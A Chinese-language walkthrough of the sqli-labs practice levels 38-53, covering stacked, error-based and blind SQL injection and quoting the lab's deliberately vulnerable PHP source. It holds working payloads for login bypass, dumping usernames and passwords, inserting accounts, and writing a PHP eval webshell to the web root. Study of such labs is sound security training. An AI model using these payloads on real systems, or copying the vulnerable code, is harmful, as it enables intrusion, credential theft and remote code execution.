文章目录
一. Stacked Injection
Stacked injection, 可以翻译成堆叠注入,即执行多个sql语句。
做到page 3,总结下sqli lab这个靶场的套路吧,它的题先是简单的知识点,然后换下闭合,然后换下注入方式(union–>报错–>盲注–>,,,),再然后换下请求方式(GET,POST)。
38. GET-single quotes
在第1题基础上,查询到用户表users,以及其字段(id, username, password)后,可以新建用户:
?id=1';INSERT INTO users(id, username, password) values(38, "38", "38"); -- x
看下源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
39.
相比38,没有了引号闭合。
40-41.
40题,闭合变成了引号加括号 :
?id=1')||('
题目是盲注,去掉了报错信息,然并软,因为并没有用到updatexml。
?id=1');INSERT INTO users(id, username, password) values(40, "40", "40"); -- x
41和40一样。
42. POST-single quotes
有点像24题,通过创建新用户完成的二次注入。但是点击注册后,提示If you need to create account, then hack your way in
。
那就按套路,尝试一下万能账户/密码吧。
username
' or '1'='1 失败
" or "1"="1 失败
') or ('1'='1
password
' or '1'='1 登录成功
登录进去以后,和24题一样,可以修改密码,不过需要输入老密码。
既然已经找到了注入点为password,那可以用报错注入的套路:
-- 库名
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) -- x
-- XPATH syntax error: '~security~'
-- 表名
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),0x7e),1) -- x
-- XPATH syntax error: '~users~'
-- 列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1) -- x
-- XPATH syntax error: '~id~'
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1) -- x
-- XPATH syntax error: '~username~'
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e),1) -- x
-- XPATH syntax error: '~password~'
-- 密码
' or updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) -- x
-- XPATH syntax error: '~Dumb~Dumb~'
刚刚登录的账户应该就是users表的第一个账户(limit 0,1),密码为Dumb。
不过这个题的目的在于考察堆叠注入,再试试password:
';INSERT INTO users(id, username, password) values(42, "42", "42"); -- x
页面显示登录错误,但id=42的用户已经创建成功了,username/password为42/42,登录成功。
源码:
<?PHP
session_start();
//...
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); // 过滤了username
$password = $_POST["login_password"];
// ...
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql)) // 可以执行多个语句!!!!!!!!!!!!!
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
print_r(mysqli_error($con1));
}
}
else
{
print_r(mysqli_error($con1));
}
}
$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
?>
<!-- BUG OFF YOUR SILLY DUMB HACKER -->
<?php
}
?>
相比13关,对username进行了过滤。
43. twist 42
尝试万能账户密码:
password
' or '1'='1
') or ('1'='1 登录成功
其实就是42题基础上 闭合加了个括号
');INSERT INTO users(id, username, password) values(43, "43", "43"); -- x
44. Blind 42
和42一样,只不过去掉了print_r(mysqli_error($con1))
,不能使用updatexml了,需要盲注password来获取users表的信息:
-- 库名
' or length(database())=8 -- x
' or ascii(substr(lower(database()),1,1))=115 -- s
' or ascii(substr(lower(database()),2,1))=101 -- e
' or ascii(substr(lower(database()),3,1))=99 -- c
' or ascii(substr(lower(database()),4,1))=117 -- u
' or ascii(substr(lower(database()),5,1))=114 -- r
' or ascii(substr(lower(database()),6,1))=105 -- i
' or ascii(substr(lower(database()),7,1))=116 -- t
' or ascii(substr(lower(database()),8,1))=121 -- y
-- 表名
' or ascii(substr(lower((select table_name from information_schema.tables where table_schema=database() limit 3,1)),1,1))=117 -- u
-- ...
-- 列名
' or ascii(substr(lower((select column_name from information_schema.columns where table_schema='security' limit 0,1)),1,1))=105 -- i
-- ...
payload:
';INSERT INTO users(id, username, password) values(44, "44", "44"); -- x
45.twist 44
44题闭合加个括号。
50. GET-Order by
46题基础上,源码使用了mysqli_multi_query
。46题wp在[这里](#46. GET-Order by)。
这次不新增账户了,练一下写马。
记着打开my.ini的对应开关:
[mysqld]
secure_file_priv=
...
paylaod:
?sort=1; select '<?php eval($_REQUEST[222])?>' into outfile 'c:\\50.php';
然后1.php就会出现在c盘根目录下。
但为了拿到webshell,需要知道www的绝对路径。可以这样获取:
?sort=1 and updatexml(1,concat(0x7e,(select @@basedir),0x7e),1)
-- XPATH syntax error: '~C:\phpstudy_pro\Extensions\MySQ'
虽然错误回显被截断了,但可以推断出www的路径为C:\phpstudy_pro\www
?sort=1; select '<?php eval($_REQUEST[222])?>' into outfile 'C:\\phpstudy_pro\\www\\50.php';
然后就可以创建webshell了。
其它网站可以通过访问不存在的url来尝试在报错信息里获取www绝对路径。
51. Single Quotes 50
判断闭合:
?sort=1' 报错
?sort=1'' 正常回显
也就是说在50题基础上加了单引号闭合:
?sort=1'; select '<?php eval($_REQUEST[222])?>' into outfile 'c:\\phpstudy_pro\\www\\51.php'; -- x
52. Blind 50
去掉了错误回显,需要盲注。
48题和50题的payload都能使用。
53. Single quote 52
52题闭合加了单引号。
可使用51题和49题的payload。
二. Error Bases
46. GET-Order by
页面提示:Please input parameter as SORT with numeric value
url加参数:
?sort=1
然后展示了users表的内容,更改sort的值为2,3就能发现,sort值被填充到order by后面了。
猜测sql语句:
select * from users order by $sort;
如果可以堆叠注入的话,就这样构造payload:
select * from users order by $sort; INSERT INTO users(id, username, password) values(46, "46", "46");
-->
?sort=1; INSERT INTO users(id, username, password) values(46, "46", "46");
然后就报语法错误了。。。
再次提醒按套路一步步来。
使用union select:
?sort=1 union select 1,2,3
返回报错:Incorrect usage of UNION and ORDER BY。
既然语法上不允许,那用updatexml试试:
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
-- XPATH syntax error: '~security~'
成功。
看下源码:
<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysql_fetch_assoc($result))
{
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
}
}
else
{
print_r(mysql_error());
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
//...
}
?>
47. Single quote 46
判断闭合,多了个引号:
?sort=1' 报错
?sort=1'' 正常
payload:
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
-- XPATH syntax error: '~security~'
48. Blind 46
使用46题的payload:
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
没有回显表格,那么考虑使用盲注。
?sort=1 and length(database())=8
?sort=1 and length(database())=7
无论猜测库名长度是多少,都正常回显表格,也就是说布尔盲注无效。这时要考虑时间盲注了。
-- 库名长度 8
?sort=1 and if(length(database())=8, sleep(5), 1) -- 延时
?sort=1 and if(length(database())=7, sleep(5), 1) -- 马上加载完毕
-- 爆破库名
?sort=1 and if(ascii(substr(lower(database()),1,1))=115,sleep(5),1)
-- ...
-- 表名
?sort=1 and if(ascii(substr(lower((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))=101,sleep(5),1)
-- ...
-- 字段名
?sort=1 and if(ascii(substr(lower((select column_name from information_schema.columns where table_name='emails' limit 0,1)),1,1))=105,sleep(5),1)
-- ...
49. Single quote 48
48题基础上加了单引号闭合,payload除了加单引号,还要加一下注释:
?sort=1' and if(length(database())=8, sleep(5), 1) -- x